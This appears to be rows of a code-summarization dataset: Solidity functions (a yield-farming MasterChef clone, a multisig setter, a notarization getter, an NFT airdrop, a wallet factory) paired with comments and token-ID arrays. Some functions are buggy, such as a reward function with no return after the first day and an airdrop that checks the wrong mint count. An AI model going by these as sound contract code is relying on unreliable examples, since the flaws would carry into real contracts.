internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // Carcoinmarket with Governance. contract Carcoinmarket is ERC20("Car Coin", "CCM"), Ownable { /// @notice Creates `_amount` token to `_to`. Must only be called by the owner (MasterChef). function mint(address _to, uint256 _amount) public onlyOwner { _mint(_to, _amount); } } contract CCMChef is Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; // Info of each user. struct UserInfo { uint256 amount; // How many LP tokens the user has provided. uint256 rewardDebt; // Reward debt. See explanation below. // // We do some fancy math here. Basically, any point in time, the amount of CCMs // entitled to a user but is pending to be distributed is: // // pending reward = (user.amount * pool.accCCMPerShare) - user.rewardDebt // // Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens: // 1. The pool's `accCCMPerShare` (and `lastRewardBlock`) gets updated. // 2. User receives the pending reward sent to his/her address. // 3. User's `amount` gets updated. // 4. User's `rewardDebt` gets updated. } // Info of each pool. struct PoolInfo { IERC20 lpToken; // Address of LP token contract. uint256 allocPoint; // How many allocation points assigned to this pool. CCMs to distribute per block. uint256 lastRewardBlock; // Last block number that CCMs distribution occurs. uint256 accCCMPerShare; // Accumulated CCMs per share, times 1e12. See below. } // The CCM TOKEN! Carcoinmarket public CCM; // Dev address. address public devaddr; // Block number when bonus CCM period ends. uint256 public bonusEndBlock; // CCM tokens created per block. uint256 public CCMPerBlock; // Bonus muliplier for early CCM makers. uint256 public constant BONUS_MULTIPLIER = 1; // no bonus // No of blocks in a day - 7000 uint256 public constant perDayBlocks = 7000; // no bonus // Info of each pool. PoolInfo[] public poolInfo; // Info of each user that stakes LP tokens. mapping (uint256 => mapping (address => UserInfo)) public userInfo; // Total allocation poitns. Must be the sum of all allocation points in all pools. uint256 public totalAllocPoint = 0; // The block number when CCM mining starts. uint256 public startBlock; event Deposit(address indexed user, uint256 indexed pid, uint256 amount); event Withdraw(address indexed user, uint256 indexed pid, uint256 amount); event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount); constructor( Carcoinmarket _CCM, address _devaddr, uint256 _CCMPerBlock, uint256 _startBlock, uint256 _bonusEndBlock ) public { CCM = _CCM; devaddr = _devaddr; CCMPerBlock = _CCMPerBlock; bonusEndBlock = _bonusEndBlock; startBlock = _startBlock; } function poolLength() external view returns (uint256) { return poolInfo.length; } // Add a new lp to the pool. Can only be called by the owner. // XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do. function add(uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdatePools(); } uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock; totalAllocPoint = totalAllocPoint.add(_allocPoint); poolInfo.push(PoolInfo({ lpToken: _lpToken, allocPoint: _allocPoint, lastRewardBlock: lastRewardBlock, accCCMPerShare: 0 })); } // Update the given pool's CCM allocation point. Can only be called by the owner. function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdatePools(); } totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint); poolInfo[_pid].allocPoint = _allocPoint; } // Return reward multiplier over the given _from to _to block. function getMultiplier(uint256 _from, uint256 _to) public view returns (uint256) { if (_to <= bonusEndBlock) { return _to.sub(_from).mul(BONUS_MULTIPLIER); } else if (_from >= bonusEndBlock) { return _to.sub(_from); } else { return bonusEndBlock.sub(_from).mul(BONUS_MULTIPLIER).add( _to.sub(bonusEndBlock) ); } } // reward prediction at specific block function getRewardPerBlock(uint blockNumber) public view returns (uint256) { if (blockNumber >= startBlock){ uint256 blockDaysPassed = (blockNumber.sub(startBlock)).div(perDayBlocks); if(blockDaysPassed <= 0){ return CCMPerBlock; } } } // View function to see pending CCMs on frontend. function pendingCCM(uint256 _pid, address _user) external view returns (uint256) { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accCCMPerShare = pool.accCCMPerShare; uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (block.number > pool.lastRewardBlock && lpSupply != 0) { uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 rewardThisBlock = getRewardPerBlock(block.number); uint256 CCMReward = multiplier.mul(rewardThisBlock).mul(pool.allocPoint).div(totalAllocPoint); accCCMPerShare = accCCMPerShare.add(CCMReward.mul(1e12).div(lpSupply)); } return user.amount.mul(accCCMPerShare).div(1e12).sub(user.rewardDebt); } // Update reward vairables for all pools. Be careful of gas spending! function massUpdatePools() public { uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { updatePool(pid); } } // Update reward variables of the given pool to be up-to-date. function updatePool(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; if (block.number <= pool.lastRewardBlock) { return; } uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (lpSupply == 0) { pool.lastRewardBlock = block.number; return; } uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 rewardThisBlock = getRewardPerBlock(block.number); uint256 CCMReward = multiplier.mul(rewardThisBlock).mul(pool.allocPoint).div(totalAllocPoint); CCM.mint(devaddr, CCMReward.div(24)); // 4% CCM.mint(address(this), CCMReward); pool.accCCMPerShare = pool.accCCMPerShare.add(CCMReward.mul(1e12).div(lpSupply)); pool.lastRewardBlock = block.number; } // Deposit LP tokens to MasterChef for CCM allocation. function deposit(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; updatePool(_pid); if (user.amount > 0) { uint256 pending = user.amount.mul(pool.accCCMPerShare).div(1e12).sub(user.rewardDebt); safeCCMTransfer(msg.sender, pending); } pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount); user.amount = user.amount.add(_amount); user.rewardDebt = user.amount.mul(pool.accCCMPerShare).div(1e12); emit Deposit(msg.sender, _pid, _amount); } // Withdraw LP tokens from MasterChef. function withdraw(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; require(user.amount >= _amount, "withdraw: not good"); updatePool(_pid); uint256 pending = user.amount.mul(pool.accCCMPerShare).div(1e12).sub(user.rewardDebt); safeCCMTransfer(msg.sender, pending); user.amount = user.amount.sub(_amount); user.rewardDebt = user.amount.mul(pool.accCCMPerShare).div(1e12); pool.lpToken.safeTransfer(address(msg.sender), _amount); emit Withdraw(msg.sender, _pid, _amount); } // Withdraw without caring about rewards. EMERGENCY ONLY. function emergencyWithdraw(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; pool.lpToken.safeTransfer(address(msg.sender), user.amount); emit EmergencyWithdraw(msg.sender, _pid, user.amount); user.amount = 0; user.rewardDebt = 0; } // Safe CCM transfer function, just in case if rounding error causes pool to not have enough CCMs. function safeCCMTransfer(address _to, uint256 _amount) internal { uint256 CCMBal = CCM.balanceOf(address(this)); if (_amount > CCMBal) { CCM.transfer(_to, CCMBal); } else { CCM.transfer(_to, _amount); } } // Update dev address by the previous dev. function dev(address _devaddr) public { require(msg.sender == devaddr, "dev: wut?"); devaddr = _devaddr; } }
CCM tokens created per block.
uint256 public CCMPerBlock;
11,873,158
[ 1, 6743, 49, 2430, 2522, 1534, 1203, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 2254, 5034, 1071, 385, 9611, 2173, 1768, 31, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0x7d512690D20EfA2d79e12C7659413b608Bb0eac5/sources/contracts/Multisig.sol
* @param addr The new address to give the second approval wallet. @param limit The approval limit for this account./
function setSigner2(address addr, uint256 limit) external onlyOwner { require(addr != address(0), "Signer 2 cannot be null"); signer2 = addr; limits[signer2] = limit; }
8,324,576
[ 1, 4793, 1021, 394, 1758, 358, 8492, 326, 2205, 23556, 9230, 18, 225, 1800, 1021, 23556, 1800, 364, 333, 2236, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 444, 15647, 22, 12, 2867, 3091, 16, 2254, 5034, 1800, 13, 3903, 1338, 5541, 203, 225, 288, 203, 565, 2583, 12, 4793, 480, 1758, 12, 20, 3631, 315, 15647, 576, 2780, 506, 446, 8863, 203, 565, 10363, 22, 273, 3091, 31, 203, 565, 8181, 63, 2977, 264, 22, 65, 273, 1800, 31, 203, 225, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/80001/0xD7A0679bF71a2a69ecEa79F87a64132e32774109/sources/project:/contracts/Notarization.sol
* @dev get a hash in the _num place @param _num uint256 Place of the hash to return @return string documentURL, bytes32 hash, uint256 datatime/
function getDocInfo(uint256 _num) external view returns(string memory, bytes32) { require(_num<_docCounter.current(), "Requested Number does not exist"); return (_documents[_num].docUrl, _documents[_num].docHash); }
5,616,920
[ 1, 588, 279, 1651, 316, 326, 389, 2107, 3166, 225, 389, 2107, 2254, 5034, 13022, 434, 326, 1651, 358, 327, 327, 533, 1668, 1785, 16, 1731, 1578, 1651, 16, 2254, 5034, 1150, 270, 494, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 17999, 966, 12, 11890, 5034, 389, 2107, 13, 3903, 1476, 1135, 12, 1080, 3778, 16, 1731, 1578, 13, 288, 203, 3639, 2583, 24899, 2107, 32, 67, 2434, 4789, 18, 2972, 9334, 315, 11244, 3588, 1552, 486, 1005, 8863, 203, 3639, 327, 261, 67, 24795, 63, 67, 2107, 8009, 2434, 1489, 16, 389, 24795, 63, 67, 2107, 8009, 2434, 2310, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/137/0x3E8162bD9b7dc05BA77465C489278294E46a39fb/sources/contracts/Pixxahut.sol
Airdrop require(msg.value == mintPrice, 'wrong value');
function airdrop(address toAddress) external payable onlyOwner { require(isMintEnabled, 'minting not enabled'); require(mintedWallets[msg.sender] < 1, 'exceeds max per wallet'); require(maxSupply > totalSupplyLeft, 'sold out'); mintedWallets[toAddress]++; totalSupplyLeft++; uint256 tokenId = totalSupplyLeft; _safeMint(toAddress, tokenId); }
4,714,664
[ 1, 37, 6909, 1764, 2583, 12, 3576, 18, 1132, 422, 312, 474, 5147, 16, 296, 21530, 460, 8284, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 279, 6909, 1764, 12, 2867, 358, 1887, 13, 3903, 8843, 429, 1338, 5541, 288, 203, 3639, 2583, 12, 291, 49, 474, 1526, 16, 296, 81, 474, 310, 486, 3696, 8284, 203, 3639, 2583, 12, 81, 474, 329, 26558, 2413, 63, 3576, 18, 15330, 65, 411, 404, 16, 296, 338, 5288, 87, 943, 1534, 9230, 8284, 203, 3639, 2583, 12, 1896, 3088, 1283, 405, 2078, 3088, 1283, 3910, 16, 296, 87, 1673, 596, 8284, 203, 203, 3639, 312, 474, 329, 26558, 2413, 63, 869, 1887, 3737, 15, 31, 203, 3639, 2078, 3088, 1283, 3910, 9904, 31, 203, 3639, 2254, 5034, 1147, 548, 273, 2078, 3088, 1283, 3910, 31, 203, 3639, 389, 4626, 49, 474, 12, 869, 1887, 16, 1147, 548, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity 0.4.24; import "./ProxyFactory.sol"; import "./Logger.sol"; import "./WalletSimple.sol"; contract WalletFactory { // ProxyFactory address and address of deployed Forwarder target address public factory; address public oracle; address public arbiter; address public forwarderTemplate; address public walletTemplate; /* The central logger contract. */ Logger public logger; /** * Set up a simple multi-sig wallet by specifying the signers allowed to be used on this wallet. * 2 signers will be required to send a transaction from this wallet. * Note: The sender is NOT automatically added to the list of signers. * Signers CANNOT be changed once they are set */ constructor(address _factory, address _walletTemplate, address _forwarderTemplate, address _logger, address _oracle, address _arbiter) public { require(_factory != 0x0); require(_forwarderTemplate != 0x0); require(_walletTemplate != 0x0); require(_logger != 0x0); require(_oracle != 0x0); require(_arbiter != 0x0); logger = Logger(_logger); factory = _factory; forwarderTemplate = _forwarderTemplate; walletTemplate = _walletTemplate; oracle = _oracle; arbiter = _arbiter; } /** * Create a new wallet * returns address of newly created forwarder address * * @param user User's multisig signing address */ function createWallet(address user) public returns (address) { WalletSimple wallet = WalletSimple(ProxyFactory(factory).createProxy(walletTemplate, new bytes(0x0))); // authorize the wallet address walletAddress = address(wallet); logger.addAuthorizer(walletAddress); address[3] memory signers = [user, oracle, arbiter]; wallet.initialize(signers, factory, forwarderTemplate, address(logger)); address[5] memory forwarders; for (uint i = 0; i < 5; i++) { address fwd = wallet.createForwarder(); forwarders[i] = fwd; } logger.logWalletCreated(walletAddress, signers, forwarders); return walletAddress; } /* * Fallback function (NOT payable) * When called, will create a new wallet with msg.sender's address */ function () external { createWallet(msg.sender); } }
The central logger contract. */* Set up a simple multi-sig wallet by specifying the signers allowed to be used on this wallet. 2 signers will be required to send a transaction from this wallet. Note: The sender is NOT automatically added to the list of signers. Signers CANNOT be changed once they are set/
constructor(address _factory, address _walletTemplate, address _forwarderTemplate, address _logger, address _oracle, address _arbiter) public { require(_factory != 0x0); require(_forwarderTemplate != 0x0); require(_walletTemplate != 0x0); require(_logger != 0x0); require(_oracle != 0x0); require(_arbiter != 0x0); logger = Logger(_logger); factory = _factory; forwarderTemplate = _forwarderTemplate; walletTemplate = _walletTemplate; oracle = _oracle; arbiter = _arbiter; }
1,070,173
[ 1, 1986, 18291, 1194, 6835, 18, 342, 1000, 731, 279, 4143, 3309, 17, 7340, 9230, 635, 13664, 326, 1573, 414, 2935, 358, 506, 1399, 603, 333, 9230, 18, 576, 1573, 414, 903, 506, 1931, 358, 1366, 279, 2492, 628, 333, 9230, 18, 3609, 30, 1021, 5793, 353, 4269, 6635, 3096, 358, 326, 666, 434, 1573, 414, 18, 4383, 414, 385, 16791, 506, 3550, 3647, 2898, 854, 444, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 3885, 12, 2867, 389, 6848, 16, 1758, 389, 19177, 2283, 16, 1758, 389, 1884, 20099, 2283, 16, 1758, 389, 4901, 16, 1758, 389, 280, 16066, 16, 1758, 389, 6779, 2165, 13, 1071, 288, 203, 565, 2583, 24899, 6848, 480, 374, 92, 20, 1769, 203, 565, 2583, 24899, 1884, 20099, 2283, 480, 374, 92, 20, 1769, 203, 565, 2583, 24899, 19177, 2283, 480, 374, 92, 20, 1769, 203, 565, 2583, 24899, 4901, 480, 374, 92, 20, 1769, 203, 565, 2583, 24899, 280, 16066, 480, 374, 92, 20, 1769, 203, 565, 2583, 24899, 6779, 2165, 480, 374, 92, 20, 1769, 203, 203, 565, 1194, 273, 4242, 24899, 4901, 1769, 203, 565, 3272, 273, 389, 6848, 31, 203, 565, 364, 20099, 2283, 273, 389, 1884, 20099, 2283, 31, 203, 565, 9230, 2283, 273, 389, 19177, 2283, 31, 203, 565, 20865, 273, 389, 280, 16066, 31, 203, 565, 419, 70, 2165, 273, 389, 6779, 2165, 31, 203, 225, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
